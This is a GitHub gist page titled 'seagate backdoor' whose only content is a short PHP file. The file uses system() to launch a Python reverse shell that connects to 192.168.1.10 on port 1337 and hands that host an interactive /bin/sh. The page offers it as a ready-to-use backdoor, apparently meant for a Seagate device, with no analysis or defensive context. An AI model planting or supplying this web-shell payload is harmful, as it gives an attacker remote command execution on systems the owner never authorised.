Skip to content

Instantly share code, notes, and snippets.

@miholeus
Created July 18, 2017 19:40
Show Gist options
  • Save miholeus/313999547b6ec6b0eef5b7931b413971 to your computer and use it in GitHub Desktop.
Save miholeus/313999547b6ec6b0eef5b7931b413971 to your computer and use it in GitHub Desktop.
seagate backdoor
<?php set_time_limit(0);
system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment